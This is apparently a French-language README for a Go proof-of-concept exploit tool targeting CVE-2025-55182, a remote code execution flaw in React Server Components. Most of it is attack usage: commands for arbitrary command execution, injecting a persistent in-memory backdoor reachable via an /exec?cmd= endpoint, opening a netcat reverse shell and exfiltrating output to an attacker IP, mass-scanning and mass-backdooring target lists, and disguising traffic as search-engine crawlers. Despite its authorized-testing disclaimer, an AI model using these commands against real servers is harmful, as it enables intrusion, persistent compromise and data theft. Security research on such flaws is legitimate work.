Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés.
⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT ⚠️
CVE-2025-55182 (également connue sous le nom de CVE-2025-66478) est une vulnérabilité critique d'exécution de code à distance (RCE) dans les React Server Components (protocole Flight). Cet outil est une implémentation Go du PoC pour la recherche en sécurité et les tests de pénétration autorisés.
Versions affectées :
L'exploit exploite une pollution de prototype dans la désérialisation du protocole Flight :
$@ pour obtenir une référence de ChunkChunk.prototype.then comme propriété then de l'objet racineRESOLVED_MODEL pour appeler avec un faux chunk contrôléinitializeModelChunkresponse._formData.get avec la charge utile de l'attaquantresponse._formData.get sur le constructeur Function pour une exécution de code arbitraire/exec?cmd=Téléchargez la dernière version pour votre plateforme depuis GitHub Releases.
Binaires disponibles :
# Cloner le dépôt
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Compiler pour la plateforme actuelle
go build -o cve-2025-55182 .
# Ou compiler pour toutes les plateformes
chmod +x build.sh
./build.sh
Après avoir exécuté ./build.sh, les binaires seront disponibles dans le répertoire build/ pour toutes les plateformes supportées.
# Vérifier une cible unique pour la vulnérabilité
./cve-2025-55182 -u http://cible:3000 --check
# Détecter la version de Next.js
./cve-2025-55182 -u http://cible:3000 --version-check
# Exécuter une commande avec sortie
./cve-2025-55182 -u http://cible:3000 -c "id"
./cve-2025-55182 -u http://cible:3000 -c "cat /etc/passwd"
# Injecter un shell mémoire (vérifie d'abord s'il est déjà installé)
./cve-2025-55182 -u http://cible:3000 --memshell
# Tester si le shell mémoire est actif
./cve-2025-55182 -u http://cible:3000 --test-shell
# Exécuter une commande via le shell mémoire
./cve-2025-55182 -u http://cible:3000 --shell-exec "cat /etc/passwd"
# Après l'injection, vous pouvez aussi utiliser curl directement :
curl 'http://cible:3000/exec?cmd=id'
curl 'http://cible:3000/exec?cmd=whoami'
# Ajouter des en-têtes personnalisés (peut être utilisé plusieurs fois)
./cve-2025-55182 -u http://cible:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://cible:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Ignorer la vérification du certificat SSL (pour les certificats auto-signés)
./cve-2025-55182 -u https://cible:3000 --check -k
./cve-2025-55182 -u https://cible:3000 --check --insecure
# Combiner avec d'autres options
./cve-2025-55182 -u https://cible:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 avec authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 sans authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://cible:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://cible:3000 --check --proxy http://127.0.0.1:8080
# Vérification par lots depuis un fichier
./cve-2025-55182 --urls cibles.txt --check
# Analyse par lots avec sortie JSON
./cve-2025-55182 --urls cibles.txt --check --json -o resultats.json
# Analyse par lots avec plusieurs threads et mode furtif
./cve-2025-55182 -f cibles.txt --check --threads 20 --stealth crawler --delay 2s
# Sauvegarder les cibles vulnérables dans un fichier
./cve-2025-55182 -f cibles.txt --check -o vulnerable.txt
# Injection de shell mémoire par lots
./cve-2025-55182 --urls cibles.txt --memshell --workers 10
# Exécution de commande par lots
./cve-2025-55182 --urls cibles.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, fonctionne sur Alpine)
./cve-2025-55182 -u http://cible:3000 --revshell 10.0.0.1 4444
# Démarrer d'abord un écouteur sur la machine attaquante :
nc -lvnp 4444
# Exfiltrer la sortie de commande via HTTP POST
./cve-2025-55182 -u http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Démarrer l'écouteur : nc -lvnp 4444
| Option | Description |
|---|---|
-u, --url | URL cible (ex. http://localhost:3000) |
-f, --file | Fichier contenant les URL cibles (une par ligne) |
--urls | Alias pour -f/--file |
-o, --output | Fichier de sortie pour les cibles vulnérables |
--json | Afficher les résultats au format JSON |
-c, --command | Commande à exécuter (avec sortie) |
--check | Vérifier la vulnérabilité |
--version-check | Détecter la version de Next.js |
--proxy | URL du proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | En-tête personnalisé (peut être utilisé plusieurs fois) |
-k, --insecure | Ignorer la vérification du certificat SSL/TLS |
--stealth | Mode furtif : browser, crawler, security (défaut : browser) |
--delay | Délai entre les requêtes (ex. 2s, 500ms) |
--variants | Utiliser plusieurs variantes de payload pour une vérification approfondie |
--memshell | Injecter un shell mémoire (backdoor persistante) |
--test-shell | Tester si le shell mémoire est actif |
--shell-exec | Exécuter une commande via le shell mémoire |
--revshell IP PORT | Établir un reverse shell |
--exfil CMD IP PORT | Exécuter une commande et envoyer la sortie en POST |
-t, --timeout | Délai d'attente de la requête en secondes (défaut : 15) |
--threads |
socks5://user:pass@ip:port - SOCKS5 avec authentification
socks5://ip:port - SOCKS5 sans authentification
socks5h://ip:port - SOCKS5 avec résolution DNS distante
socks4://ip:port - Proxy SOCKS4
socks4a://ip:port - Proxy SOCKS4a
http://user:pass@ip:port - Proxy HTTP avec authentification
http://ip:port - Proxy HTTP sans authentification
https://ip:port - Proxy HTTPS
| Mode | Description |
|---|---|
browser | Imite les requêtes de navigateur réels (Chrome, Firefox, Safari, Edge) - défaut |
crawler | Imite les robots d'indexation (Googlebot, Bingbot, Baiduspider, etc.) |
security | Utilise les User-Agents de scanners de sécurité (Nessus, Nuclei) |
La fonctionnalité de shell mémoire injecte une backdoor persistante qui :
cmd# Après l'injection :
curl 'http://cible:3000/exec?cmd=id'
curl 'http://cible:3000/exec?cmd=ls+-la'
curl 'http://cible:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # Point d'entrée CLI
├── pkg/
│ ├── colors/
│ │ └── colors.go # Couleurs du terminal avec support --nocolor
│ ├── exploit/
│ │ └── exploit.go # Logique principale d'exploitation, shell mémoire, détection de version
│ ├── proxy/
│ │ └── proxy.go # Prise en charge des proxys SOCKS4/5, HTTP
│ ├── scanner/
│ │ └── scanner.go # Analyse par lots avec sortie JSON
│ └── stealth/
│ └── stealth.go # Randomisation des User-Agents
├── build.sh # Script de compilation multiplateforme
├── go.mod # Fichier de module Go
├── go.sum # Dépendances Go
└── README.md # Ce fichier
Le script build.sh compile pour 30+ plateformes :
chmod +x build.sh
./build.sh
Lorsque l'option --json est utilisée, les résultats sont sauvegardés au format JSONL (un JSON par ligne) :
{"url":"http://cible:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
Le rapport complet (_report.json) inclut :
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
L'outil peut détecter la version de Next.js à partir de :
X-Powered-By__NEXT_DATA__, chemins /_next/)Les versions vulnérables sont mises en évidence en rouge.
⚠️ AVIS JURIDIQUE IMPORTANT ⚠️
Cet outil est fourni strictement à des fins éducatives et uniquement pour des tests de sécurité autorisés.
Il est strictement interdit d'utiliser cet outil :
L'accès non autorisé à des systèmes informatiques est une infraction pénale dans la plupart des juridictions dans le monde, y compris mais sans s'y limiter :
CE LOGICIEL EST FOURNI "EN L'ÉTAT", SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE. LES AUTEURS ET DÉTENTEURS DE DROITS D'AUTEUR NE SERONT PAS RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ DÉCOULANT DE L'UTILISATION DE CE LOGICIEL.
En téléchargeant, installant ou utilisant cet outil, vous reconnaissez que :
Si vous n'acceptez pas ces conditions, n'utilisez pas cet outil.
Vladislav Tislenko aka keklick1337
Date : 2025-12-05
Ce projet est sous licence MIT License - voir le fichier LICENSE pour plus de détails.
Utilisez de manière responsable. Restez dans la légalité. 🔐
| Nombre de threads simultanés (défaut : 10) |
--workers | Alias pour --threads |
--nocolor | Désactiver la sortie colorée (pour Windows/pipes) |
-h, --help | Afficher le message d'aide |
-v, --version | Afficher la version |